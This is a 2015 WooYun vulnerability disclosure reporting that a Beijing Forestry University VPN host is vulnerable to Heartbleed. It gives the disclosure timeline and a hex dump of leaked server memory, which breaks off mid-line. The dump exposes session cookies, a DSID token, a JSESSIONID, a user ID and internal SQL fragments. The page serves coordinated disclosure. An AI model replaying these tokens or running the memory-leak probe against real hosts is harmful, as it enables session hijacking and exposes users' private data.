当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102386

漏洞标题:vpn心脏滴血

相关厂商:北京林业大学

漏洞作者: 路人乙

提交时间:2015-03-20 14:09

修复时间:2015-05-08 11:28

公开时间:2015-05-08 11:28

漏洞类型:重要敏感信息泄露

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向核心白帽子及相关领域专家公开
2015-04-13: 细节向普通白帽子公开
2015-04-23: 细节向实习白帽子公开
2015-05-08: 细节向公众公开

简要描述:

详细说明:

vpn.bjfu.edu.cn:443 存在OpenSSL(CVE-2014-0160)漏洞
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 86
... received message: type = 22, ver = 0302, length = 2379
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 73 69 6F 6E ....#.......sion
00e0: 3D 31 0D 0A 0D 0A D4 2F FB 16 BA BF EA BC C1 D6 =1...../........
00f0: EB D3 8F F9 17 F5 F2 A3 8E 51 61 6E 61 49 6E 66 .........QanaInf
0100: 6F 3D 6A 77 78 74 2E 62 6A 66 75 2E 65 64 75 2E o=jwxt.bjfu.edu.
0110: 63 6E 2B 53 74 75 64 65 6E 74 45 6C 65 63 74 69 cn+StudentElecti
0120: 76 65 41 41 2E 61 73 70 0D 0A 41 63 63 65 70 74 veAA.asp..Accept
0130: 2D 4C 61 6E 67 75 61 67 65 3A 20 7A 68 2D 43 4E -Language: zh-CN
0140: 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo
0150: 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 zilla/4.0 (compa
0160: 74 69 62 6C 65 3B 20 4D 53 49 45 20 37 2E 30 3B tible; MSIE 7.0;
0170: 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B Windows NT 6.1;
0180: 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 53 4C Trident/7.0; SL
0190: 43 43 32 3B 20 2E 4E 45 54 20 43 4C 52 20 32 2E CC2; .NET CLR 2.
01a0: 30 2E 35 30 37 32 37 3B 20 2E 4E 45 54 20 43 4C 0.50727; .NET CL
01b0: 52 20 33 2E 35 2E 33 30 37 32 39 3B 20 2E 4E 45 R 3.5.30729; .NE
01c0: 54 20 43 4C 52 20 33 2E 30 2E 33 30 37 32 39 3B T CLR 3.0.30729;
01d0: 20 43 4D 4E 54 44 46 4A 53 3B 20 4D 65 64 69 61 CMNTDFJS; Media
01e0: 20 43 65 6E 74 65 72 20 50 43 20 36 2E 30 3B 20 Center PC 6.0;
01f0: 2E 4E 45 54 34 2E 30 43 3B 20 2E 4E 45 54 34 2E .NET4.0C; .NET4.
0200: 30 45 3B 20 42 52 49 2F 32 29 0D 0A 43 6F 6E 74 0E; BRI/2)..Cont
0210: 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 ent-Type: applic
0220: 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F 72 6D ation/x-www-form
0230: 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 41 63 63 -urlencoded..Acc
0240: 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A ept-Encoding: gz
0250: 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 ip, deflate..Hos
0260: 74 3A 20 76 70 6E 2E 62 6A 66 75 2E 65 64 75 2E t: vpn.bjfu.edu.
0270: 63 6E 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 cn..Content-Leng
0280: 74 68 3A 20 37 36 0D 0A 44 4E 54 3A 20 31 0D 0A th: 76..DNT: 1..
0290: 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 Connection: Keep
02a0: 2D 41 6C 69 76 65 0D 0A 43 61 63 68 65 2D 43 6F -Alive..Cache-Co
02b0: 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 63 68 65 0D ntrol: no-cache.
02c0: 0A 43 6F 6F 6B 69 65 3A 20 44 53 53 69 67 6E 49 .Cookie: DSSignI
02d0: 6E 55 52 4C 3D 2F 3B 20 44 53 46 69 72 73 74 41 nURL=/; DSFirstA
02e0: 63 63 65 73 73 3D 31 34 32 36 37 35 35 33 30 39 ccess=1426755309
02f0: 3B 20 44 53 4C 61 73 74 41 63 63 65 73 73 3D 31 ; DSLastAccess=1
0300: 34 32 36 37 35 36 31 35 33 3B 20 44 53 4C 61 75 426756153; DSLau
0310: 6E 63 68 55 52 4C 3D 32 46 36 41 37 37 37 38 37 nchURL=2F6A77787
0320: 34 32 46 35 33 37 34 37 35 36 34 36 35 36 45 37 42F53747564656E7
0330: 34 32 46 32 43 34 34 36 31 36 45 36 31 34 39 36 42F2C44616E61496
0340: 45 36 36 36 46 33 44 36 41 37 37 37 38 37 34 32 E666F3D6A7778742
0350: 45 36 32 36 41 36 36 37 35 32 45 36 35 36 34 37 E626A66752E65647
0360: 35 32 45 36 33 36 45 32 42 35 33 37 34 37 35 36 52E636E2B5374756
0370: 34 36 35 36 45 37 34 34 35 36 43 36 35 36 33 37 4656E74456C65637
0380: 34 36 39 37 36 36 35 34 31 34 31 32 45 36 31 37 469766541412E617
0390: 33 37 30 3B 20 44 53 49 44 3D 65 31 37 34 39 61 370; DSID=e1749a
03a0: 34 38 31 39 33 61 65 33 36 32 63 38 35 31 33 30 48193ae362c85130
03b0: 36 32 33 66 34 39 39 38 33 66 0D 0A 0D 0A 21 E6 623f49983f....!.
03c0: 30 0C C8 A8 3E 06 22 A1 29 6B B2 5A 51 7C 03 6E 0...>.".)k.ZQ|.n
03d0: 2A 0A BE 3B EA 1D 12 3F 72 75 65 25 32 43 25 32 *..;...?rue%2C%2
03e0: 32 73 53 65 61 72 63 68 25 32 32 25 33 41 25 32 2sSearch%22%3A%2
03f0: 32 25 32 32 25 32 43 25 32 32 62 52 65 67 65 78 2%22%2C%22bRegex
0400: 25 32 32 25 33 41 66 61 6C 73 65 25 32 43 25 32 %22%3Afalse%2C%2
0410: 32 62 53 6D 61 72 74 25 32 32 25 33 41 74 72 75 2bSmart%22%3Atru
0420: 65 25 37 44 25 32 43 25 37 42 25 32 32 62 43 61 e%7D%2C%7B%22bCa
0430: 73 65 49 6E 73 65 6E 73 69 74 69 76 65 25 32 32 seInsensitive%22
0440: 25 33 41 74 72 75 65 25 32 43 25 32 32 73 53 65 %3Atrue%2C%22sSe
0450: 61 72 63 68 25 32 32 25 33 41 25 32 32 25 32 32 arch%22%3A%22%22
0460: 25 32 43 25 32 32 62 52 65 67 65 78 25 32 32 25 %2C%22bRegex%22%
0470: 33 41 66 61 6C 73 65 25 32 43 25 32 32 62 53 6D 3Afalse%2C%22bSm
0480: 61 72 74 25 32 32 25 33 41 74 72 75 65 25 37 44 art%22%3Atrue%7D
0490: 25 32 43 25 37 42 25 32 32 62 43 61 73 65 49 6E %2C%7B%22bCaseIn
04a0: 73 65 6E 73 69 74 69 76 65 25 32 32 25 33 41 74 sensitive%22%3At
04b0: 72 75 65 25 32 43 25 32 32 73 53 65 61 72 63 68 rue%2C%22sSearch
04c0: 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 %22%3A%22%22%2C%
04d0: 32 32 62 52 65 67 65 78 25 32 32 25 33 41 66 61 22bRegex%22%3Afa
04e0: 6C 73 65 25 32 43 25 32 32 62 53 6D 61 72 74 25 lse%2C%22bSmart%
04f0: 32 32 25 33 41 74 72 75 65 25 37 44 25 35 44 25 22%3Atrue%7D%5D%
0500: 32 43 25 32 32 61 62 56 69 73 43 6F 6C 73 25 32 2C%22abVisCols%2
0510: 32 25 33 41 25 35 42 74 72 75 65 25 32 43 74 72 2%3A%5Btrue%2Ctr
0520: 75 65 25 32 43 74 72 75 65 25 32 43 74 72 75 65 ue%2Ctrue%2Ctrue
0530: 25 35 44 25 37 44 3B 20 6C 61 73 74 4F 70 65 72 %5D%7D; lastOper
0540: 61 3D 70 6F 70 65 64 6F 6D 5F 38 31 39 32 3B 20 a=popedom_8192;
0550: 4A 53 45 53 53 49 4F 4E 49 44 3D 45 42 35 43 30 JSESSIONID=EB5C0
0560: 31 38 45 30 34 37 42 43 39 32 34 32 39 43 31 45 18E047BC92429C1E
0570: 42 36 44 36 44 43 31 42 45 43 45 3B 20 75 73 65 B6D6DC1BECE; use
0580: 72 69 64 3D 64 65 6E 67 3B 20 75 73 65 72 74 79 rid=deng; userty
0590: 70 65 3D 3B 20 41 4A 53 54 41 54 5F 6F 6B 5F 74 pe=; AJSTAT_ok_t
05a0: 69 6D 65 73 3D 35 39 0D 0A 0D 0A 70 72 6F 64 75 imes=59....produ
05b0: 63 74 63 6F 64 65 3D 26 70 61 67 65 3D 61 73 73 ctcode=&page=ass
05c0: 65 74 73 2E 6D 69 6E 65 2E 69 6E 64 65 78 26 77 ets.mine.index&w
05d0: 69 6E 64 6F 77 3D 6A 73 6F 6E 26 74 3D 30 2E 30 indow=json&t=0.0
05e0: 33 39 39 37 32 37 39 30 39 38 32 35 37 34 32 32 3997279098257422
05f0: 34 26 72 65 71 75 65 73 74 5F 6D 65 74 68 6F 64 4&request_method
0600: 3D 61 6A 61 78 26 62 72 6F 77 73 65 72 2E 76 65 =ajax&browser.ve
0610: 72 73 69 6F 6E 3D 35 33 37 2E 33 36 26 62 72 6F rsion=537.36&bro
0620: 77 73 65 72 3D 6E 6F 74 6D 73 69 65 51 8D 52 47 wser=notmsieQ.RG
0630: DA B3 20 CF AE 9C 5A A3 0D 7E 95 CF D0 DE 2E 75 .. ...Z..~.....u
0640: 10 D5 15 32 31 43 4A 46 51 25 32 31 43 4A 46 44 ...21CJFQ%21CJFD
0650: 32 30 31 31 25 37 43 47 4C 53 4A 32 30 30 39 30 2011%7CGLSJ20090
0660: 37 30 31 35 25 32 31 43 4A 46 51 25 32 31 43 4A 7015%21CJFQ%21CJ
0670: 46 44 32 30 30 39 25 37 43 43 4D 4A 4A 32 30 30 FD2009%7CCMJJ200
0680: 39 30 36 30 32 35 25 32 31 43 4A 46 51 25 32 31 906025%21CJFQ%21
0690: 43 4A 46 44 32 30 30 39 25 37 43 53 58 4B 4A 32 CJFD2009%7CSXKJ2
06a0: 30 31 34 30 36 30 32 35 25 32 31 43 4A 46 51 25 01406025%21CJFQ%
06b0: 32 31 43 4A 46 44 4C 41 53 54 32 30 31 34 25 37 21CJFDLAST2014%7
06c0: 43 58 58 42 4C 32 30 31 34 32 31 30 34 37 25 32 CXXBL201421047%2
06d0: 31 43 4A 46 51 25 32 31 43 4A 46 44 4C 41 53 54 1CJFQ%21CJFDLAST
06e0: 32 30 31 35 25 37 43 44 4C 48 58 32 30 31 34 30 2015%7CDLHX20140
06f0: 36 30 31 30 25 32 31 43 4A 46 51 25 32 31 43 4A 6010%21CJFQ%21CJ
0700: 46 44 4C 41 53 54 32 30 31 35 25 37 43 59 4A 53 FDLAST2015%7CYJS
0710: 43 32 30 31 34 31 32 30 31 34 25 32 31 43 4A 46 C201412014%21CJF
0720: 51 25 32 31 43 4A 46 44 54 45 4D 50 25 37 43 48 Q%21CJFDTEMP%7CH
0730: 42 51 59 32 30 31 35 30 31 30 33 31 25 32 31 43 BQY201501031%21C
0740: 4A 46 51 25 32 31 43 4A 46 44 54 45 4D 50 25 37 JFQ%21CJFDTEMP%7
0750: 43 44 41 4A 4A 32 30 31 35 30 32 30 31 34 25 32 CDAJJ201502014%2
0760: 31 43 4A 46 51 25 32 31 43 4A 46 44 50 52 45 50 1CJFQ%21CJFDPREP
0770: 25 37 43 4C 4B 47 50 32 30 31 35 30 31 30 31 30 %7CLKGP201501010
0780: 25 32 31 43 4A 46 51 25 32 31 43 4A 46 44 54 45 %21CJFQ%21CJFDTE
0790: 4D 50 25 37 43 53 44 53 41 32 30 31 35 30 31 30 MP%7CSDSA2015010
07a0: 30 35 25 32 31 43 4A 46 51 25 32 31 43 4A 46 44 05%21CJFQ%21CJFD
07b0: 50 52 45 50 25 37 43 48 46 47 53 32 30 31 35 30 PREP%7CHFGS20150
07c0: 31 30 30 31 25 32 31 43 4A 46 51 25 32 31 43 4A 1001%21CJFQ%21CJ
07d0: 46 44 54 45 4D 50 25 37 43 42 4A 53 42 32 30 31 FDTEMP%7CBJSB201
07e0: 35 30 32 30 31 35 25 32 31 43 4A 46 51 25 32 31 502015%21CJFQ%21
07f0: 43 4A 46 44 54 45 4D 50 25 37 43 47 4C 5A 4A 32 CJFDTEMP%7CGLZJ2
0800: 30 31 34 33 35 32 38 39 25 32 31 43 4A 46 51 25 01435289%21CJFQ%
0810: 32 31 43 4A 46 44 54 45 4D 50 25 37 43 47 46 47 21CJFDTEMP%7CGFG
0820: 42 32 30 31 34 30 36 30 32 37 25 32 31 43 4A 46 B201406027%21CJF
0830: 51 25 32 31 43 4A 46 44 50 52 45 50 25 37 43 3B Q%21CJFDPREP%7C;
0840: 20 63 5F 6D 5F 4C 69 6E 49 44 3D 4C 69 6E 49 44 c_m_LinID=LinID
0850: 3D 57 45 45 76 52 45 63 77 53 6C 4A 48 53 6C 64 =WEEvREcwSlJHSld
0860: 54 54 47 4A 68 59 6C 4A 51 63 58 6C 4E 64 45 6C TTGJhYlJQcXlNdEl
0870: 4C 53 31 52 79 56 57 70 4D 57 6B 70 44 53 48 64 LS1RyVWpMWkpDSHd
0880: 5A 4D 6D 5A 48 62 32 74 73 51 31 56 70 51 54 67 ZMmZHb2tsQ1VpQTg
0890: 72 51 6E 68 6C 57 47 56 45 4B 7A 4D 78 64 30 4E rQnhlWGVEKzMxd0N
08a0: 4E 54 55 59 31 55 6B 5A 58 59 7A 30 3D 24 39 41 NTUY1UkZXYz0=$9A
08b0: 34 68 46 5F 59 41 75 76 51 35 6F 62 67 56 41 71 4hF_YAuvQ5obgVAq
08c0: 4E 4B 50 43 59 63 45 6A 4B 65 6E 73 57 34 49 51 NKPCYcEjKensW4IQ
08d0: 4D 6F 76 77 48 74 77 6B 46 34 56 59 50 6F 48 62 MovwHtwkF4VYPoHb
08e0: 4B 78 4A 77 21 21 26 6F 74 3D 30 33 2F 31 39 2F KxJw!!&ot=03/19/
08f0: 32 30 31 35 20 31 37 3A 30 38 3A 32 32 0D 0A 0D 2015 17:08:22...
0900: 0A BB AC 88 BD 81 3D 6E 73 D9 75 6A 07 89 9B 1D ......=ns.uj....
0910: 5C 36 A3 44 87 74 3D 30 33 2F 31 39 2F 32 30 31 \6.D.t=03/19/201
0920: 35 20 31 37 3A 30 35 3A 35 30 0D 0A 0D 0A 78 14 5 17:05:50....x.
0930: 31 44 CD 24 CB 3C CA C6 4F 6A FA 45 F9 33 10 56 1D.$.<..Oj.E.3.V
0940: 60 59 33 34 25 75 36 44 46 39 25 75 35 42 46 39 `Y34%u6DF9%u5BF9
0950: 25 75 35 31 34 42 25 75 39 36 38 36 25 75 36 39 %u514B%u9686%u69
0960: 30 44 25 75 37 32 36 39 25 75 37 41 37 41 25 75 0D%u7269%u7A7A%u
0970: 35 46 43 33 25 75 38 33 42 32 25 75 35 42 35 30 5FC3%u83B2%u5B50
0980: 25 75 38 33 34 39 25 75 37 39 43 44 25 75 35 31 %u8349%u79CD%u51
0990: 38 35 25 75 35 31 37 33 25 75 37 43 46 42 25 75 85%u5173%u7CFB%u
09a0: 37 36 38 34 25 75 35 46 37 31 25 75 35 34 43 44 7684%u5F71%u54CD
09b0: 25 32 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 %21cjfq%21cjfd20
09c0: 31 31 25 32 31 7A 77 73 62 32 30 31 31 30 39 30 11%21zwsb2011090
09d0: 31 30 25 37 43 3B 20 55 73 65 72 44 6F 77 6E 4C 10%7C; UserDownL
09e0: 6F 61 64 73 4B 63 6D 73 3D 25 75 35 37 33 30 25 oadsKcms=%u5730%
09f0: 75 38 38 36 38 25 75 37 30 36 42 25 75 35 45 37 u8868%u706B%u5E7
0a00: 32 25 75 36 32 37 30 25 75 36 35 46 36 25 75 39 2%u6270%u65F6%u9
0a10: 35 46 34 25 75 35 45 38 46 25 75 35 32 31 37 25 5F4%u5E8F%u5217%
0a20: 75 34 45 30 41 25 75 36 41 31 46 25 75 35 42 35 u4E0A%u6A1F%u5B5
0a30: 30 25 75 36 37 37 45 25 75 36 37 39 37 25 75 37 0%u677E%u6797%u7
0a40: 41 44 45 25 75 34 45 38 39 25 75 35 46 33 41 25 ADE%u4E89%u5F3A%
0a50: 75 35 45 41 36 25 75 37 36 38 34 25 75 35 33 44 u5EA6%u7684%u53D
0a60: 38 25 75 35 33 31 36 25 32 31 63 6A 66 71 25 32 8%u5316%21cjfq%2
0a70: 31 63 6A 66 64 32 30 31 30 25 32 31 73 74 78 62 1cjfd2010%21stxb
0a80: 32 30 31 30 30 31 30 30 39 25 37 43 25 75 35 39 201001009%7C%u59
0a90: 32 41 25 75 37 36 37 44 25 75 37 45 41 32 25 75 2A%u767D%u7EA2%u
0aa0: 36 37 34 39 25 75 37 39 43 44 25 75 35 31 38 35 6749%u79CD%u5185
0ab0: 25 75 35 34 38 43 25 75 37 39 43 44 25 75 39 35 %u548C%u79CD%u95
0ac0: 46 34 25 75 37 41 44 45 25 75 34 45 38 39 25 75 F4%u7ADE%u4E89%u
0ad0: 37 38 31 34 25 75 37 41 37 36 25 32 31 63 6A 66 7814%u7A76%21cjf
0ae0: 71 25 32 31 63 6A 66 64 32 30 30 35 25 32 31 7A q%21cjfd2005%21z
0af0: 77 73 62 32 30 30 35 30 32 30 30 39 25 37 43 25 wsb200502009%7C%
0b00: 75 35 31 34 42 25 75 39 36 38 36 25 75 36 39 30 u514B%u9686%u690
0b10: 44 25 75 37 32 36 39 25 75 35 42 46 39 25 75 37 D%u7269%u5BF9%u7
0b20: 39 43 44 25 75 39 35 46 34 25 75 37 41 44 45 25 9CD%u95F4%u7ADE%
0b30: 75 34 45 38 39 25 75 37 36 38 34 25 75 39 30 30 u4E89%u7684%u900
0b40: 32 25 75 35 45 39 34 25 75 37 42 35 36 25 75 37 2%u5E94%u7B56%u7
0b50: 35 36 35 25 32 31 63 6A 66 71 25 32 31 63 6A 66 565%21cjfq%21cjf
0b60: 64 32 30 31 32 25 32 31 7A 77 73 62 32 30 31 32 d2012%21zwsb2012
0b70: 30 36 30 31 35 25 37 43 25 75 36 35 42 44 25 75 06015%7C%u65BD%u
0b80: 38 30 41 35 25 75 35 34 38 43 25 75 35 32 30 38 80A5%u548C%u5208
0b90: 25 75 35 32 37 32 25 75 35 42 46 39 25 75 36 39 %u5272%u5BF9%u69
0ba0: 30 44 25 75 37 32 36 39 25 75 37 46 41 34 25 75 0D%u7269%u7FA4%u
0bb0: 38 34 33 44 25 75 37 39 43 44 25 75 39 35 46 34 843D%u79CD%u95F4
0bc0: 25 75 35 31 37 33 25 75 37 43 46 42 25 75 37 36 %u5173%u7CFB%u76
0bd0: 38 34 25 75 35 46 37 31 25 75 35 34 43 44 25 32 84%u5F71%u54CD%2
0be0: 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 31 30 1cjfq%21cjfd2010
0bf0: 25 32 31 6C 64 7A 6B 32 30 31 30 73 31 30 30 33 %21ldzk2010s1003
0c00: 25 37 43 25 75 36 43 33 34 25 75 36 44 46 39 25 %7C%u6C34%u6DF9%
0c10: 75 35 42 46 39 25 75 35 31 34 42 25 75 39 36 38 u5BF9%u514B%u968
0c20: 36 25 75 36 39 30 44 25 75 37 32 36 39 25 75 37 6%u690D%u7269%u7
0c30: 41 37 41 25 75 35 46 43 33 25 75 38 33 42 32 25 A7A%u5FC3%u83B2%
0c40: 75 35 42 35 30 25 75 38 33 34 39 25 75 37 39 43 u5B50%u8349%u79C
0c50: 44 25 75 35 31 38 35 25 75 35 31 37 33 25 75 37 D%u5185%u5173%u7
0c60: 43 46 42 25 75 37 36 38 34 25 75 35 46 37 31 25 CFB%u7684%u5F71%
0c70: 75 35 34 43 44 25 32 31 63 6A 66 71 25 32 31 63 u54CD%21cjfq%21c
0c80: 6A 66 64 32 30 31 31 25 32 31 7A 77 73 62 32 30 jfd2011%21zwsb20
0c90: 31 31 30 39 30 31 30 25 37 43 0D 0A 0D 0A DC 43 1109010%7C.....C
0ca0: 42 21 60 EA 5A 32 DC 5B 75 39 3F 2B 02 0A A4 36 B!`.Z2.[u9?+...6
0cb0: 15 51 45 31 41 25 75 34 45 30 45 25 75 35 33 33 .QE1A%u4E0E%u533
0cc0: 41 25 75 35 37 44 46 25 75 37 45 43 46 25 75 36 A%u57DF%u7ECF%u6
0cd0: 44 34 45 25 75 35 33 44 31 25 75 35 43 35 35 25 D4E%u53D1%u5C55%
0ce0: 75 35 31 37 33 25 75 37 43 46 42 25 75 37 38 31 u5173%u7CFB%u781
0cf0: 34 25 75 37 41 37 36 25 32 31 63 6D 66 64 25 32 4%u7A76%21cmfd%2
0d00: 31 63 6D 66 64 32 30 31 33 30 32 25 32 31 31 30 1cmfd201302%2110
0d10: 31 33 32 35 38 33 31 38 2E 6E 68 25 37 43 25 75 13258318.nh%7C%u
0d20: 35 33 33 41 25 75 35 37 44 46 25 75 37 33 41 46 533A%u57DF%u73AF
0d30: 25 75 35 38 38 33 25 75 38 39 43 36 25 75 38 39 %u5883%u89C6%u89
0d40: 44 32 25 75 34 45 30 42 25 75 37 36 38 34 25 75 D2%u4E0B%u7684%u
0d50: 35 33 33 41 25 75 35 37 44 46 25 75 37 45 43 46 533A%u57DF%u7ECF
0d60: 25 75 36 44 34 45 25 75 35 33 44 31 25 75 35 43 %u6D4E%u53D1%u5C
0d70: 35 35 25 75 36 41 32 31 25 75 35 46 30 46 25 75 55%u6A21%u5F0F%u
0d80: 37 38 31 34 25 75 37 41 37 36 25 75 32 30 31 34 7814%u7A76%u2014
0d90: 25 75 32 30 31 34 25 75 35 37 46 41 25 75 34 45 %u2014%u57FA%u4E
0da0: 38 45 25 75 35 43 37 31 25 75 34 45 31 43 25 75 8E%u5C71%u4E1C%u
0db0: 37 37 30 31 25 75 36 35 37 30 25 75 36 33 36 45 7701%u6570%u636E
0dc0: 25 75 37 36 38 34 25 75 35 42 39 45 25 75 38 42 %u7684%u5B9E%u8B
0dd0: 43 31 25 75 35 32 30 36 25 75 36 37 39 30 25 32 C1%u5206%u6790%2
0de0: 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 31 31 1cjfq%21cjfd2011
0df0: 25 32 31 67 67 79 79 32 30 31 31 30 38 30 30 35 %21ggyy201108005
0e00: 25 37 43 25 75 36 45 32 46 25 75 35 33 45 33 25 %7C%u6E2F%u53E3%
0e10: 75 37 32 36 39 25 75 36 44 34 31 25 75 34 45 30 u7269%u6D41%u4E0
0e20: 45 25 75 38 31 37 39 25 75 35 37 33 30 25 75 35 E%u8179%u5730%u5
0e30: 33 33 41 25 75 35 37 44 46 25 75 37 45 43 46 25 33A%u57DF%u7ECF%
0e40: 75 36 44 34 45 25 75 37 36 46 38 25 75 35 31 37 u6D4E%u76F8%u517
0e50: 33 25 75 36 30 32 37 25 75 36 44 34 42 25 75 35 3%u6027%u6D4B%u5
0e60: 45 41 36 25 75 37 38 31 34 25 75 37 41 37 36 25 EA6%u7814%u7A76%
0e70: 32 31 63 6D 66 64 25 32 31 63 6D 66 64 32 30 31 21cmfd%21cmfd201
0e80: 30 25 32 31 32 30 31 30 31 36 33 37 30 39 2E 6E 0%212010163709.n
0e90: 68 25 37 43 0D 0A 0D 0A 9E BA 5D E0 B7 7B 6C C1 h%7C......]..{l.
0ea0: 99 C6 A3 55 2C 1C 7C 22 3C 23 FE 8D 6C 20 62 61 ...U,.|"<#..l ba
0eb0: 63 6B 73 74 6F 63 6B 5F 74 79 70 65 0A 20 20 46 ckstock_type. F
0ec0: 52 4F 4D 20 45 51 55 49 50 4D 45 4E 54 5F 73 63 ROM EQUIPMENT_sc
0ed0: 72 61 70 20 45 43 0A 20 20 4C 45 46 54 20 4A 4F rap EC. LEFT JO
0ee0: 49 4E 20 42 41 53 45 5F 54 45 41 43 48 45 52 20 IN BASE_TEACHER
0ef0: 42 54 31 0A 20 20 20 20 4F 4E 20 45 43 2E 42 41 BT1. ON EC.BA
0f00: 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F 5F 72 65 SE_TEACHER_NO_re
0f10: 71 75 65 73 74 20 3D 20 42 54 31 2E 4E 4F 0A 20 quest = BT1.NO.
0f20: 20 4C 45 46 54 20 4A 4F 49 4E 20 28 53 45 4C 45 LEFT JOIN (SELE
0f30: 43 54 20 73 75 6D 28 63 61 73 65 0A 20 20 20 20 CT sum(case.
0f40: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0f50: 20 20 20 20 20 20 20 20 77 68 65 6E 20 28 45 FF when (E.
0f60: 43 4C 2E 53 54 41 54 45 20 49 53 20 20 4E 55 4C CL.STATE IS NUL
0f70: 4C 20 4F 52 20 45 43 4C 2E 53 54 41 54 45 20 21 L OR ECL.STATE !
0f80: 3D 20 2D 31 29 20 61 6E 64 20 6E 76 6C 28 65 63 = -1) and nvl(ec
0f90: 6C 2E 72 65 74 72 69 65 76 65 5F 73 74 61 74 65 l.retrieve_state
0fa0: 2C 31 29 21 3D 30 20 74 68 65 6E 0A 20 20 20 20 ,1)!=0 then.
0fb0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0fc0: 20 20 20 20 20 20 20 20 20 31 0A 20 20 20 20 20 1.
0fd0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0fe0: 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 else.
0ff0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1000: 20 20 20 20 20 20 20 20 20 30 0A 20 20 20 20 20 0.
1010: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1020: 20 20 20 20 20 65 6E 64 29 20 41 53 20 4E 55 4D end) AS NUM
1030: 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ,.
1040: 20 20 20 20 20 20 45 43 4C 2E 45 51 55 49 50 4D ECL.EQUIPM
